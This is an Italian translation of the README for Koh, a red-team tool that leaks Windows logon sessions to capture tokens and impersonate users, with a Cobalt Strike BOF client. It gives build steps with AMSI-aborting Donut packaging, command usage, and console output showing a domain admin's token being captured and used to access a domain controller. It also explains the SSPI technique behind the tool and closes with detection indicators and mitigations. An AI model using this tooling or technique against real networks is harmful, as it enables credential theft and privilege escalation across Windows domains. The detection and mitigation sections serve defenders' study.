
Cattura token di sessione di accesso di Windows tramite perdita di token per consentire il riutilizzo delle credenziali e l'impersonificazione, con integrazione Cobalt Strike BOF per il furto di token post-sfruttamento.
Koh è un set di strumenti in C# e Beacon Object File (BOF) che permette la cattura di materiali di credenziali utente tramite una deliberata perdita di token/sessioni di accesso.
Parte del codice è stata ispirata dal progetto Internal-Monologue (senza licenza) di Elad Shamir, oltre che da KB180548. Per capire perché ciò è possibile e l'approccio di Koh, vedere la sezione Background Tecnico di questo README.
Per una spiegazione più approfondita della motivazione dietro Koh e del suo approccio, vedere il post Koh: The Token Stealer.
@harmj0y è l'autore principale di questo codice. @tifkin_ ha contribuito all'approccio, all'implementazione BOF e ad alcuni meccanismi relativi ai token.
Koh è concesso in licenza sotto la licenza BSD 3-Clause.
Il "server" di Koh cattura i token e utilizza named pipe per il controllo/la comunicazione. Può essere impacchettato in Donut e iniettato in qualsiasi processo ad alta integrità SYSTEM (vedere The Inline Shenanigans Bug).
Non abbiamo intenzione di rilasciare binari per Koh, quindi dovrai compilarlo da solo :)
Koh è stato compilato per .NET 4.7.2 ed è compatibile con Visual Studio 2019 Community Edition. Basta aprire il file .sln del progetto, scegliere "Release" e compilare. L'assembly Koh.exe e il PIC Koh.bin costruito con Donut verranno generati nella directory principale. Il blob Donut è compatibile sia con x86 che con x64 ed è compilato con le seguenti opzioni utilizzando la versione 0.9.3 di Donut in ./Misc/Donut.exe:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
La licenza di Donut è BSD 3-clause.
### Utilizzo
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - elenca le sessioni di accesso (non di rete)
* **monitor** - monitora le sessioni di accesso nuove/univoche (non di rete)
* **capture** - acquisisce un token univoco per ogni SID trovato per le nuove sessioni di accesso (non di rete)
I Group SID possono essere forniti anche tramite riga di comando, in modo che Koh monitori/acquisisca solo le sessioni di accesso che contengono i Group SID specificati nelle informazioni del token negoziato.
### Esempio - Elenco delle sessioni di accesso```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Elenca solo i risultati che hanno il SID del gruppo domain admins (-512) nelle loro informazioni sul token:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh Client
Il client attualmente utilizzabile è un Beacon Object File in `.\Clients\BOF\`. Carica lo script aggressore `.\Clients\BOF\KohClient.cna` nel tuo client Cobalt Strike per abilitare il controllo BOF del server Koh. L'unico requisito per utilizzare i token catturati è **SeImpersonatePrivilege**. La named pipe di comunicazione ha un DACL "Everyone" ma utilizza una password condivisa di base (super sicura).
Per compilare da zero su Linux usando Mingw, consulta lo script `.\Clients\BOF\build.sh`. L'unico requisito (almeno su Debian) dovrebbe essere `apt-get install gcc-mingw-w64`
### Utilizzo```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
Il comando koh filter add S-1-5-21-<DOMAIN>-<RID> catturerà solo i token che contengono il SID di gruppo fornito. Questo comando può essere eseguito più volte per aggiungere ulteriori SID da catturare. Ciò può aiutare a prevenire possibili problemi di stabilità dovuti a un gran numero di perdite di token.
"Cattura" sessioni di accesso negoziando token utilizzabili per ogni nuova sessione.
Server:``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
BOF client:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> PerfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
Quando una nuova sessione di accesso viene stabilita su un sistema, un nuovo token per la sessione di accesso viene creato da LSASS utilizzando la chiamata API NtCreateToken() e restituito dal chiamante di LsaLogonUser(). Questo aumenta il ReferenceCount campo della struttura kernel della sessione di accesso. Quando questo ReferenceCount raggiunge 0, la sessione di accesso viene distrutta. A causa delle informazioni descritte nella sezione Why This Is Possible, i sistemi Windows NON rilasceranno una sessione di accesso se esiste ancora un handle di token ad essa (e quindi il reference count != 0).
Quindi se possiamo ottenere un handle a una sessione di accesso appena creata tramite un token, possiamo mantenere aperta quella sessione di accesso e successivamente impersonare quel token per utilizzare eventuali credenziali memorizzate nella cache che contiene.
Secondo questo post di un ingegnere Microsoft:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) è stato applicato a Windows 7/Server 2008, quindi questo approccio dovrebbe essere efficace per tutto tranne che per i sistemi Server 2003.
## Approccio
Enumerare le sessioni di accesso è facile (da un contesto elevato) utilizzando l'API Win32 [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). Ciò che è più difficile è prendere un identificatore specifico di sessione di accesso (LUID) e _in qualche modo_ ottenere un token utilizzabile collegato a quella sessione.
### Approcci possibili
Abbiamo ideato alcuni modi per a) mantenere aperte le sessioni di accesso e b) abusarne per l'impersonificazione di token/uso di credenziali memorizzate nella cache.
1. Il primo approccio consisteva nell'usare **NtCreateToken()** che permette di specificare un ID di sessione di accesso (LUID) per creare un nuovo token.
* Sfortunatamente, è necessario **SeCreateTokenPrivilege** che tradizionalmente è posseduto solo da LSASS, il che significa che bisogna rubare il token di LSASS, il che non è ideale.
* Una possibilità era aggiungere **SeCreateTokenPrivilege** a NT AUTHORITY\SYSTEM tramite modifica dei criteri LSA, ma ciò richiederebbe un riavvio/una nuova sessione di accesso per esprimere i nuovi diritti utente.
2. Puoi anche concentrarti solo sulle sessioni di accesso RemoteInteractive usando **WTSQueryUserToken()** per ottenere token da clonare per nuove sessioni desktop.
* Questo è l'approccio apparentemente [dimostrato da Ryan](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472).
* Sfortunatamente questo ignora le sessioni locali appena create e le sessioni in arrivo create da strumenti come PSEXEC.
3. In una nuova sessione di accesso, aprire un handle per ogni processo raggiungibile ed enumerare tutti gli handle esistenti, clonando il token collegato alla nuova sessione di accesso.
* Ciò richiede l'apertura di molti processi/handle, il che appare molto sospetto.
4. L'approccio **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** descritto di seguito, che è quello che abbiamo adottato.
### Il nostro approccio
La chiamata SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) ha un campo **pvLogonID** che afferma:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
Nota: Per utilizzare un LUID di sessione di logon con AcquireCredentialsHandle() è necessario disporre di SeTcbPrivilege, tuttavia questo è solitamente più facile da ottenere rispetto a SeCreateTokenPrivilege.
Utilizzare questa chiamata specificando un ID/LUID di sessione di logon sembra aumentare il ReferenceCount per la struttura della sessione di logon, impedendone il rilascio. Tuttavia, ci troviamo di fronte a un altro problema: data una sessione di logon "persa"/mantenuta aperta, come ottenere un token utilizzabile da essa? WTSQueryUserToken() funziona solo con le sessioni desktop e non esiste un'API userland che siamo riusciti a trovare per mappare un LUID a un token utilizzabile.
Tuttavia possiamo utilizzare due funzioni SSPI aggiuntive, InitializeSecurityContext() e AcceptSecurityContext() per agire come client e server verso noi stessi, negoziando un nuovo contesto di sicurezza che possiamo poi utilizzare con QuerySecurityContextToken() per ottenere un token utilizzabile. Questo è stato documentato in KB180548 (mirrorato da PKISolutions qui) ai fini della validazione delle credenziali. È un approccio simile a Internal-Monologue, tranne per il fatto che completiamo l'intero processo di handshake, produciamo un token e lo conserviamo per un uso successivo.
Il filtraggio può quindi essere effettuato sul token stesso, tramite CheckTokenMembership() o GetTokenInformation(). Ad esempio, potremmo rilasciare tutti i token tranne quelli appartenenti agli amministratori di dominio o a gruppi specifici che vogliamo colpire.
Codifico da un bel po' di tempo. Questo è uno dei bug più strani e frustranti da rintracciare che abbia incontrato da un po' - per favore aiutami lol.
Quando l'assembly Koh.exe viene eseguito da un contesto elevato (ma non SYSTEM), tutto funziona correttamente.
Se l'assembly Koh.exe viene eseguito tramite il processo fork&run di Cobalt Strike Beacon con execute-assembly da un contesto elevato (ma non SYSTEM), tutto funziona correttamente.
Se l'assembly Koh.exe viene eseguito inline (tramite InlineExecute-Assembly o Inject-Assembly) per un Cobalt Strike Beacon in esecuzione in un contesto SYSTEM, tutto funziona correttamente.
Tuttavia, se l'assembly Koh.exe viene eseguito inline (tramite InlineExecute-Assembly o Inject-Assembly) per un Cobalt Strike Beacon in esecuzione in un contesto elevato, ma non SYSTEM, la chiamata a AcquireCredentialsHandle() fallisce con SEC_E_NO_CREDENTIALS e tutto fallisce ¯\_(ツ)_/¯
Abbiamo provato (senza successo):
A tutti gli effetti, il contesto del thread subito prima della chiamata a AcquireCredentialsHandle funziona in questo contesto, ma il risultato dà errore. E non abbiamo idea del perché.
Se hai un'idea di cosa potrebbe essere, faccelo sapere! E se vuoi provare a giocare con un assembly più semplice, dai un'occhiata al repository AcquireCredentialsHandle sul mio GitHub per la risoluzione dei problemi.
Per citare @tifkin_ "Tutto è furtivo finché qualcuno non lo cerca." Anche se l'approccio di Koh è leggermente diverso dagli altri, ci sono comunque IOCs che possono essere utilizzati per rilevarlo.
Il GUID unico TypeLib per il collector C# di Koh è 4d5350c8-7f8c-47cf-8cde-c752018af17e come dettagliato nella regola Yara Koh.yar in questo repository. Se non viene modificato in fase di compilazione, dovrebbe essere un indicatore ad alta fedeltà del server Koh.
Quando il server Koh si avvia, apre una named pipe chiamata \\.\pipe\imposecost che rimane aperta finché Koh è in esecuzione. La password predefinita utilizzata per la comunicazione Koh è password, quindi inviare password list a qualsiasi pipe \\.\pipe\imposecost permetterà di confermare se Koh è effettivamente in esecuzione. La pipe di impersonificazione predefinita utilizzata è \\.pipe\imposingcost.
Se Koh si avvia in un contesto elevato ma non come SYSTEM, viene eseguito un clone di handle/token di winlogon per effettuare un'elevazione di tipo getsystem.
Sono certo che nessun attaccante modificherà gli indicatori menzionati sopra.
Probabilmente ci sono alcuni artefatti RPC per la cattura del token che speriamo di investigare. Aggiorneremo questa sezione del README se troveremo ulteriori artefatti di rilevamento in questo senso. L'hooking di alcune delle API possibilmente non comuni utilizzate da Koh (LsaEnumerateLogonSessions o le specifiche AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, in particolare usando un LUID in AcquireCredentialsHandle) potrebbe essere esplorato per l'efficacia, ma ahimè, non sono un EDR.
Dopo aver pubblicato il post Koh: The Token Stealer, ho avuto un ottimo scambio tra @cnotin e @SteveSyfuhs su ciò che alla fine si è rivelato essere una mitigazione parziale per questo approccio.
La patch KB2871997 ha introdotto l'impostazione TokenLeakDetectDelaySecs, che attiva la "...cancellazione di eventuali credenziali degli utenti disconnessi...". Per impostazione predefinita, infatti, i membri del "Protected Users Security Group" hanno questo comportamento imposto indipendentemente dall'impostazione del registro. Tuttavia, impostando questo valore su un numero diverso da zero, tutte le credenziali verranno cancellate dalla memoria quando un utente si disconnette. In particolare, come menziona Steve: Se impostato, avvierà un timer sull'evento di disconnessione *interattivo* di una sessione e, allo scadere, cancellerà tutto ciò che è ancora collegato ad essa. Disattivato per impostazione predefinita. Gli utenti protetti sempre attivi, con un default di 30s.
Ci sono due cose importanti da notare nel paragrafo precedente: "evento di disconnessione" e "interattivo". Ciò può portare a situazioni in cui le credenziali di un utente NON vengono cancellate:
runas o runas /netonly o simile, non c'è alcun evento di disconnessione quando il processo si ferma e la credenziale/token può ancora essere catturata.(Devo testare altre situazioni di logon come NetworkClearText.)
Tuttavia, se l'utente è nel "Protected Users Security Group" o TokenLeakDetectDelaySecs è diverso da zero, e l'utente si disconnette attivamente da una sessione interattiva o interattiva remota (RDP), le credenziali verranno cancellate. Devo programmare Koh per gestire meglio questi tipi specifici di situazioni.
TL;DR dovresti davvero usare il "Protected Users Security Group" per gli utenti sensibili e verificare se impostare TokenLeakDetectDelaySecs su un valore come 30 è fattibile nel tuo ambiente.